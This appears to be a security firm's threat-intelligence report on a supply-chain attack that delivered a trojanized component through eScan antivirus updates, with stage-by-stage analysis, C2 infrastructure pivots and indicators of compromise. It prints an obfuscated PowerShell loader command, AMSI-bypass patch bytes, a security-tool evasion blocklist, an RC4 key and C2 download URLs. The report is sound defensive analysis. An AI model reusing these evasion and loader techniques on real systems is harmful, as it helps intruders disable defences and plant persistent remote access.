

DREAM

When Security Software Becomes the Threat: Dream Flags eScan Compromise

Dream's Reporting on Flagging the Verglas eScan
Compromise

Table of Contents

Executive Summary 2

Verglas: Supply Chain Attack Campaign 3

 Overview 3

 Infection Timeline 3

 Stage 1: Compromised Update..... 4

 Stage 2: Registry-backed PowerShell..... 5

 Stage 3: Profiling and Outreach..... 6

 Stage 4: Post-Infection Downloader..... 8

Infrastructure Analysis 9

 Unique Malware Domain Resolution Mechanisms..... 9

 Advantages of Multi-Mechanism Domain Resolution..... 9

 Pivoting Process, Strategy, and Methodology 11

 Pivot #1: Content Fingerprint Clustering 11

 Pivot #2: Resolve Domains to IP Addresses..... 12

 Pivot #3: Resolving Infrastructure Over Time..... 12

 CTI Assessment: Geolocation of Victims via DNS Resolutions 12

Conclusion..... 14

 CTI Assessment..... 14

 Recommendations 14

Appendix A: IoCs..... 15

Executive Summary

In January 2026, a routine antivirus update became the attack.

Dream identified in national environments in Southeast Asia, a highly concerning compromise in which malicious software updates were delivered via MicroWorld Technologies' eScan antivirus's legitimate update infrastructure.

In continuation of:

- The [MORPHISEC article](#) (referencing the revision dated January 29th, 2026).
- The MicroWorld Technologies confirmation regarding their eScan antivirus, as referenced in the [BLEEPINGCOMPUTER](#), and [HELPNETSECURITY](#) articles.

Dream's cyber platform uncovered additional troubling details, including DNS listings and evidence of a targeted, skillful hunting approach. It is Dream's assessment that what was supposed to protect endpoints instead was utilized as the delivery mechanism for a covert attack, affecting both consumer and enterprise environments.

The campaign, internally named Verglas, quietly replaced an eScan component with a trojanized version, initiating a multi-stage infection chain:

1. Once installed, the malware granted remote access to infected systems and deliberately worked to lock itself in.
2. The malware modified Windows host files and eScan registry settings to block future updates, disrupt remediation, and prevent the antivirus from correcting the compromise.

Dream's platform identified and investigated the campaign autonomously in the affected national environment, detecting the attack in the wild as it unfolded. By correlating signals across update behavior, system changes, and infrastructure activity, Dream reconstructed the full infection chain and exposed how a trusted security product had been weaponized.

The credibility of the attack represented its most perilous aspect. The malicious update was linked to an eScan certificate; however, it was found to be invalid in certain verification scenarios. This may indicate potential misuse or tampering; nonetheless, the certificate's exact status cannot be definitively ascertained.

The attack peaked around January 20, 2026, spreading through a channel explicitly trusted to deliver security updates. Organizations using the affected update mechanism should assume potential compromise. Immediate isolation of suspected endpoints is critical, alongside preservation of forensic evidence.

A complete incident response assessment is strongly recommended to determine the scope of exposure, identify any additional affected systems or credentials, and guide containment and remediation. As a precaution, organizations should review and reset potentially exposed credentials and ensure recovery is performed only from trusted backups or known-good system images.

Verglas: Supply Chain Attack Campaign

Overview

On January 20th, 2026, Dream’s cyber platform, particularly its Detection product abilities, identified an active compromise of the software supply chain affecting MicroWorld Technologies’ eScan antivirus. Malicious updates were distributed through eScan’s update infrastructure to both consumer and enterprise endpoints.

The campaign was nicknamed Verglas, a wordplay on black ice, and used a trojanized update to replace a legitimate eScan component, initiating a multi-stage infection process. This activity ultimately deployed a remote-access downloader while tampering with the Windows hosts file and eScan registry settings to block future updates and complicate cleanup efforts.

Dream’s Detection autonomously identified and investigated the attack in the wild as it was being leveraged via MicroWorld’s eScan antivirus. The attack was reconstructed as a multi-stage, compromised deployment delivered through MicroWorld eScan’s trusted update channel: victims received a trojanized update that is believed to provide full remote access to infected machines.

Dream recommends that organizations promptly isolate any suspected endpoints to prevent further spread, while preserving relevant evidence to support a complete investigation. See the full recommendations [here](#).

Infection Timeline

The following table details the chronological sequence of infection events discovered:

#	Date	Time	Event
1.	2026-01-20	23:23:00 UTC	The eScan process, eScan\Traylococ.exe, is executed with the command-line argument “Commit_Updates /SERVICE”, which initiates the update mechanism.
2.	2026-01-20	23:23:00 UTC	As a result of the update action, the trojanized component Reload.exe is retrieved and executed.
3.	2026-01-20	23:23:00 UTC	Reload.exe begins post-execution activity consistent with establishing persistence and staging the payload.
4.	2026-01-20	23:24:00 UTC	Reload.exe spawns cmd.exe, which executes an obfuscated command to launch powershell.exe.
5.	2026-01-20	23:24:00 UTC	The PowerShell payload executes in-memory using Base64-encoded content, indicative of fileless execution designed to evade on-disk detection.

#	Date	Time	Event
6.	2026-01-20	23:24:00 UTC	The powershell.exe runs without a profile, consistent with living-off-the-land techniques.
7.	2026-01-20	23:24:00 UTC	Reload.exe initiates outbound encrypted communication to the command-and-control (C2) server at 80.78.26.66 over TCP port 443, confirming successful beaconing and active attacker control.
8.	2026-01-21	16:41:00 UTC	A secondary executable, consctlx.exe, initiates an outbound connection to the known C2 infrastructure at 80.78.26.66.

Stage 1: Compromised Update

The eScan endpoints routinely perform vendor-managed updates as follows:

1. Contacting MicroWorld eScan's update infrastructure.
2. Downloading update artifacts.
3. Applying those updates locally through eScan components.

In this incident, the initial compromise was introduced using an update container named RER.dlz, delivered through the trusted eScan update channel. RER.dlz is a ZIP archive containing a trojanized Reload.exe, meaning the malicious binary was packaged as an update content and introduced in a manner that closely resembled legitimate maintenance activity.

The observed execution flow follows the expected update lifecycle:

#	Process	Action
1.	C:\Program Files (x86)\eScan\download.exe	Retrieves the update.
2.	C:\Program Files (x86)\eScan\TrayIcoC.exe Commit_Updates /SERVICE	Applies the update.
3.	C:\Program Files (x86)\eScan\Reload.exe	Executed from the eScan installation directory.

After execution, the trojanized Reload.exe advanced to a fileless execution chain while blending into regular system activity. As part of its first-stage activity:

1. The Reload.exe writes the registry value that later becomes the scheduled task's payload source, creating the key HKLM:\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E and storing an obfuscated, Base64-encoded PowerShell script.
2. Establish persistence by registering a Windows Scheduled Task named \Microsoft\Windows\Defrag\CorelDefrag that runs as SYSTEM and repeats every 5 hours.

The scheduled task's command line is an obfuscated loader launched via cmd.exe, utilizing UTF-8 and

Base64 helpers to dynamically reconstruct PowerShell code. The task performs these actions:

1. Fetches data stored at HKLM:\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E under the Corel value.
2. The data is then decoded multiple times.
3. Payload is piped to a new PowerShell instance with the {-nop} attribute to bypass startup scripts.

The key persistence evidence are:

Task Name	\Microsoft\Windows\Defrag\CorelDefrag
Run User	SYSTEM
Run Cycle	Every 5 hours
Execution	%COMSPEC% /c ECHO function u(\$s){[text.encoding]::UTF8.getstring(\$s)};nEw-allaS x (\$PSHOME[4]+'Ex');function b(\$s){u([convert]::frombase64string(\$s));x(b(u(x(b('KGdwICdlS0xNOlxTb2Z0d2FyZVxFOUY5RUVDMy04NkNBLTRFQkUtOUFBNC0xQjU1RUU4RDExNEUnKS5Db3JlbA=='))

Stage 2: Registry-backed PowerShell

In the second stage, the CorelDefrag task launches a PowerShell loader that retrieves the staged payload from the registry and decodes it in memory. This code performs an AMSI bypass before executing subsequent stages. This layer is intentionally structured to reduce static signatures by using reflection-based invocation and runtime type construction.

The flow is as follows:

1. The loader neutralizes the AMSI mechanism by patching AmsiScanBuffer in memory. It prepares a byte sequence such as:

```
[Byte[]] $New_Entry = @(0xB8, 0x57, 0x00, 0x07, 0x80, 0x5A, 0xFF, 0xE2)
```

2. These bytes translate to the following x86 instructions:

```
mov eax, 0x80070057
pop edx
jmp edx
```

3. The patch forces AmsiScanBuffer to return 0x80070057 (E_INVALIDARG) immediately, short-circuiting the scan path. In practice, this prevents security vendors that rely on AMSI from producing meaningful inspection results for subsequent in-memory content, enabling the loader to proceed with execution while reducing detection opportunities.

To access native system functions for covert patching, this stage uses reflection to dynamically generate delegate types. The delegate is created by creating an in-memory dynamic assembly with DefineDynamicAssembly, followed by constructing a type derived from System.MulticastDelegate.

The resulting delegate is subsequently bound to raw function pointers using

Marshal.GetDelegateForFunctionPointer, thus permitting the invocation of native APIs without the need for static declarations.

Stage 3: Profiling and Outreach

This stage is part of the PowerShell invocation from the previous step and serves as a staging downloader. Its role is to gate execution, fingerprint the host, and retrieve an encrypted next-stage payload before handing off execution in memory.

This stage flow starts before any network activity, evaluating compatibility, and terminates if the host does not meet its criteria. If a condition fails, it reports D1 along with a reason string indicating which condition triggered the exit.

The flow is as follows:

#	Enabled	Check	Pass conditions	Reason (\$EMSG)
1.	☒	RAM threshold	Host has $\geq$ 4GB RAM	MEM:<size>
2.	☒	Virtualization exclusion	The host is not identified as virtualized	VM
3.	☒	Dedicated security service block	No Kaspersky / FireEye service match	BS:<service>
4.	☒	Required software present	eScan indicator (esca) present	WS:<name>
5.	☒	Process blocklist	No blocklisted processes running	PS:<process>
6.	☒	Service blocklist (by service name)	No blocklisted services detected by service name	SN:<service>
7.	☒	Service blocklist (by display name)	No blocklisted services detected by display name	SD:<display name>
8.	☒	Architecture requirement	Host is x64	ARCH
9.	☒	Machine account requirement	Username ends with \$	USR
10.	☒	Domain-joined requirement	The host is domain-joined	AD

In this stage, various security products are detected by querying the service's name and display name:

Name Patterns	fshoster*, dr.web*, Bitdefender*, xagt*, 360rp*, ZhuDongFangYu*, zabbix*, NAGIOS*, OvCtrl*, SolarWindsAgent*, APPOPTICS*, Anturis*, Cylance*, Nexthink*
Display Name Patterns	*dr.web*, *F-Secure*, *Bitdefender*, *FireEye*, *zabbix*, *NAGIOS*, *OpenView*, *ManageEngineMonitoring*, *APPOPTICS*, *Anturis*

FireEye and Kaspersky are checked separately via a dedicated service-list routine that exits early with a distinct BS:<service> reason, rather than being folded into the general process/service blocklists (PS:, SN:, SD:).

If all conditions are satisfied, this stage continues as follows:

#	Step	Details
1.	Creating the Host Profile	<p>Builds a pipe-delimited host profile string that captures identity and runtime context.</p> <p><code>\$R = "\$L \$M \$N \$P \$Q \$H \$S"</code></p> <p>Where:</p> <ul style="list-style-type: none"> • <code>\$L</code>: current username • <code>\$M</code>: user profile folder name • <code>\$N</code>: current process name • <code>\$P</code>: parent process name (if the immediate parent is <code>CMD</code>, the code resolves the grandparent to capture the actual launcher) • <code>\$Q</code>: architecture indicator • <code>\$H</code>: 12-character host ID derived from UUID, MAC, and MachineGuid. • <code>\$S</code>: registry "status" value, read from a registry value named Trello under <code>HKLM:\Software\{26B71C-ED81-43E5-9AF-05875B889E9}</code>
2.	Transmitting host profile via HTTP cookie	The host profile is Base64-encoded and sent to the server as a cookie parameter "s".
3.	Retrieving payload from multiple URLs	Iterates over the configured URLs and attempts to download a response, stopping at the first response that passes validation.
4.	Validating a response	Validates that the downloaded response begins with <code>xqY0</code> , which matches the leading Base64 characters of the RC4-encrypted payload when the decrypted content starts with

		a \$ve PowerShell variable prefix (e.g., \$version=1;). If no response is present, it reports DF2. If a response is present but does not match this prefix, it reports DF1 and continues trying other URLs.
5.	Kill Switch	If a server returns an HTTP 404, the script hashes the response body and exits silently if the hash matches the expected MD5 prefix 9674D4D4D. At the time of the investigation, all servers tested were already in “killed” mode, returning a page that matched this hash prefix.
6.	Launching the next stage	After a valid response is obtained, Stage 3 decrypts the server payload using RC4 key Y5C5SMXMU2 and executes the decrypted PowerShell in memory as a handoff into the next stage.

Stage 4: Post-Infection Downloader

This stage represents the transition from an in-memory execution chain to longer-term persistence and operator access.

The following reflects the current understanding of the observed behavior and attacker objectives. However, the fileless execution model and C2 outage continue to limit confirmation of the precise delivery sequence and any additional in-memory components.

- **Hosts file modification to prevent remediation:** To maintain its foothold, the attack edits the Windows hosts file to interfere with or disable further eScan update mechanisms, reducing the likelihood that a legitimate update later replaces compromised components.
- **Downloader deployment and execution:** This stage revolves around the deployment and execution of constlx.exe, a binary masquerading as a legitimate eScan process, although the investigated samples did not have a **valid** digital signature. It operates as a downloader intended to provide persistent access and to communicate with attacker-controlled infrastructure (C2) for tasking and secondary payload delivery, employing highly obfuscated flow-control techniques to hinder analysis.

Infrastructure Analysis

Unique Malware Domain Resolution Mechanisms

The observed malware sample implements a multi-stage domain-resolution strategy, using heterogeneous naming systems as sequential fallbacks to maintain command-and-control (C2) connectivity.

The following indicators of compromise (IOCs) were observed as part of this resolution chain:

- `hxxps://vhs[.]delrosal[.]net`
- `hxxps://tumama[.]hns[.]to`
- `hxxps://blackice[.]sol-domain[.]org`

Each domain represents a distinct resolution paradigm, progressing from traditional DNS toward decentralized, blockchain-backed naming systems. All mechanisms ultimately deliver content over HTTPS, ensuring compatibility with standard operating systems and browsers.

Advantages of Multi-Mechanism Domain Resolution

The malware employs a layered domain resolution architecture that sequentially leverages traditional DNS and alternative naming systems as fallbacks. This design provides several overarching important values for defenders:

- **Resilience to takedown:** By spanning centralized and decentralized naming systems, the malware reduces dependence on any single registry, registrar, or service provider.
- **Progressive fallback capability:** If resolution or connectivity fails at a one-layer, subsequent mechanisms provide continued access without requiring malware updates.
- **Infrastructure abstraction:** Gateway-based resolution obscures the proper naming system and backend infrastructure from standard network inspection.
- **Decentralized ownership models:** Blockchain-based naming systems remove reliance on ICANN-governed namespaces and centralized revocation mechanisms.

#	Domain	Description
1.	Traditional DNS Domain: delrosal.net	<p>Mechanism: The domain delrosal.net operates within the standard DNS hierarchy, relying on recursive DNS resolution through the global DNS root and the .net top-level domain.</p> <p>Resolution process:</p> <ol style="list-style-type: none">1. The infected host issues a DNS query for a subdomain of delrosal.net.2. Recursive resolvers query authoritative name servers for the .net zone.

#	Domain	Description
		<ol style="list-style-type: none"> DNS resource records (A/AAAA) are returned. The operating system establishes a direct HTTPS connection to the resolved IP address. <p>Observed resolution results:</p> <ul style="list-style-type: none"> vhs.delrosal.net → 80.78.26.66 ia.delrosal.net → 80.78.26.66 So.delrosal.net → 143.198.94.96 ib.delrosal.net → 143.198.94.96
2.	Handshake (.hns) Domain via hns. to	<p>Background: Handshake is a blockchain-based, decentralized root naming system designed to replace the traditional DNS root with a distributed ledger. Top-level domains are owned and controlled via cryptographic keys recorded on-chain, rather than through centralized registries.</p> <p>Mechanism: The indicator tumama.hns.to demonstrate the use of an HTTP gateway resolver to access a Handshake domain using standard web protocols.</p> <p>Resolution process:</p> <ol style="list-style-type: none"> The malware initiates an HTTPS request to tumama.hns.to. The hns.to gateway extracts the Handshake name (tumama) from the request. The gateway resolves the name using a Handshake-aware resolver or direct blockchain query. The resolved destination is served back to the client over HTTPS. <p>Observed resolution result:</p> <p>tumama.hns.to → 80.97.160.50</p> <p>Because mainstream operating systems do not natively support Handshake resolution, the gateway functions as a translation layer between the decentralized namespace and conventional web traffic.</p>
3.	Solana Name Service (.sol) via sol-domain.org	<p>Background: Solana Name Service (SNS) is a blockchain-based naming system operating on the Solana network. It maps human-readable .sol names to on-chain records such as public keys, metadata, or external resource references.</p> <p>All name records are stored directly on the Solana blockchain and are controlled through cryptographic ownership.</p> <p>Mechanism: The IOC blackice[.]sol-domain[.]org indicates the use of a proxy gateway that resolves .sol names via HTTPS.</p> <p>Resolution Process:</p> <ol style="list-style-type: none"> The malware connects to blackice.sol-domain.org.

#	Domain	Description
		<ol style="list-style-type: none">2. The gateway queries Solana Name Service records stored on-chain.3. Retrieved name mappings are translated into a web-accessible resource. <p>This mechanism allows the malware to leverage blockchain-based naming without embedding native Solana resolution logic or performing direct blockchain interactions.</p>

Pivoting Process, Strategy, and Methodology

During malware research, we identified a suspicious domain, vhs.delrosal[.]net, that returned a unique HTML page. The page's content hash served as a stable pivot to identify additional domains and IPs hosting the duplicate content. The same unique HTML page was used as part of the kill switch mechanism. Subsequent DNS/PDNS pivoting revealed an associated infrastructure set including Handshake-gateway domains (*.hns.to), Njalla-hosted infrastructure (*.host.njalla.net), and additional related DNS names (zoutube[.]net, distortit[.]net) that resolve to the same IP space over time.

The initial discovery uncovered the following:

- **Seed Indicator:** Domain (seed) as: *vhs.delrosal[.]net*
- **Key Observation:** The server returned a unique HTML page, a distinct fingerprint suitable for content-based clustering.
- **Content Fingerprint:** Page MD5: 674d4d4adf2dd3ae860dce0850111ca

This hash was used as the primary pivot to identify other infrastructure that appears operationally linked.

Pivot #1: Content Fingerprint Clustering

This pivot indicates multiple infrastructure points serving identical web content:

Goal	Identify any other domains or IPs that return the same unique HTML.
IoC: Domains	<ul style="list-style-type: none">• tumama.hns.to• vhs.delrosal.net• so.delrosal.net
IoC: IPs	<ul style="list-style-type: none">• 143.198.94.96• 80.78.26.66• 96.9.125.243

Pivot #2: Resolve Domains to IP Addresses

From subsequent research and resolution:

- tumama.hns[.]to → 80.97.160.50
- Vhs.delrosal.net → 80.78.26.66
- So.delrosal.net → 143.198.94.96
- lb.delrosal.net → 143.198.94.96
- la.delrosal.net → 80.78.26.66
- 504e1a42.host.njalla[.]net → 80.78.26.66

Pivot #3: Resolving Infrastructure Over Time

- 80.97.160.50 → go.zoutube.net (First seen: 2026-01-25 → Last seen: 2026-01-27)
- go.zoutube.net → 96.9.125.243 (First seen: 2026-01-27 → Last seen: 2026-01-29)
- 96.9.125.243 → a.zoutube.net (First seen: 2026-01-28 → Last seen: 2026-01-28)
- 96.9.125.243 → go.distorit.net (First seen: 2026-01-27→ Last seen: 2026-01-29)
- b.distorit.net → 96.9.125.243 (First seen: 2026-01-28→ Last seen: 2026-01-28)

CTI Assessment: Geolocation of Victims via DNS Resolutions

One key indicator analyzed was the geographical spread of eScan servers' DNS resolution activity, revealing clusters in India, Nepal, the United Kingdom, and the United States. Victimology analysis suggests the campaign may have targeted specific organizations in these regions.

Location	Percentage
India	25.0%
Nepal	25.0%
United Kingdom	8.3%
United States	8.3%
Germany	5.6%
Bangladesh	2.8%
Canada	2.8%
Congo (Kinshasa)	2.8%
Hong Kong	2.8%
Kenya	2.8%

Location	Percentage
Mexico	2.8%
Malaysia	2.8%
Philippines	2.8%
Singapore	2.8%
Zimbabwe	2.8%

Conclusion

CTI Assessment

During the investigation of this campaign, multiple analytical tools and data sources were leveraged to assess potential attribution.

Based on the [DNS victim profile](#), observed infrastructure patterns, attribution remains unconfirmed; multiple hypotheses exist and require further evidence to elevate confidence.

Recommendations

Dream recommendations also include the following actions:

- Treat Verglas as a potential high-impact incident because it abused a trusted software update mechanism.
- As a precaution, Dream recommends that affected organizations contact the vendor for further information, guidance, as well as:
 - Engage in qualified incident response services to assess the scope of exposure, determine whether any additional systems or accounts were impacted, and guide containment and remediation
 - As a precaution, affected organizations should review and reset potentially exposed credentials and ensure they can restore affected systems from trusted backups or known-good images.

Appendix A: IoCs

#	Type	Details
1.	Registry	HKLM:\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E
2.	Registry	HKLM:\Software\{26B71C-ED81-43E5-9AF-05875B889E9} (Value name: Trello)
3.	Scheduled Task	\Microsoft\Windows\Defrag\CorelDefrag
4.	File Hash	36ef2ec9ada035c56644f677dab65946798575e1d8b14f1365f22d7c68269860
5.	File Hash	386a16926aff225abc31f73e8e040ac0c53fb093e7daf3fbd6903c157d88958c
6.	File Hash	674943387cc7e0fd18d0d6278e6e4f7a0f3059ee6ef94e0976fae6954ffd40dd
7.	File Hash	bec369597633eac7cc27a698288e4ae8d12bdd9b01946e73a28e1423b17252b1
8.	File Hash	c2de3b16cc9c0e558cbebec16f4e59171d91b7b50293657f5a07249b50a71fd6
9.	File Hash	5f6fcc646a413599a237eb1383dd4e082b007d133041b0c08cda12d3e70c1923
10.	File Hash	1944aa7540eb60a7dd11b58f2eb6b9e2b3377668156ed6660adb7f2babb389d2
11.	File Hash	021671a9cf17fa1c9b8cda81647d28d88b4acb856736cbbbd990befe7b69c4c
12.	File Hash	4f6391237571b494e8b5623ed104925097f05b006a34c5fc0e97d2ef6dcb4856
13.	C2 Network Connections	hxxps://vhs[.]delrosal[.]net/i
14.	C2 Network Connections	hxxps://tumama[.]hns[.]to
15.	C2 Network Connections	hxxps://blackice[.]sol-domain[.]org

#	Type	Details
16.	C2 Network Connections	hxxps://codegiant[.]jio/dd/dd/dd.git/download/main/middleware.ts
17.	Campaign-related Domains	<ul style="list-style-type: none">vhs.delrosal[.]netso.delrosal[.]netib.delrosal[.]netia.delrosal[.]nettumama.hns[.]to504e1a42.host.njalla[.]netzoutube[.]netgo.zoutube[.]neta.zoutube[.]netdistorit[.]netgo.distorit[.]netb.distorit[.]net
18.	IP Addresses	<ul style="list-style-type: none">80.78.26.66143.198.94.9680.97.160.5096.9.125.243
19.	Content Page Hash	MD5 9674d4d4adf2dd3ae860dce0850111ca
20.	Code Signing Certificate Thumbprint	76B0D9D51537DA06707AFA97B4AE981ED6D03483
21.	Cryptography	RC4 key: Y5C5SMXMU2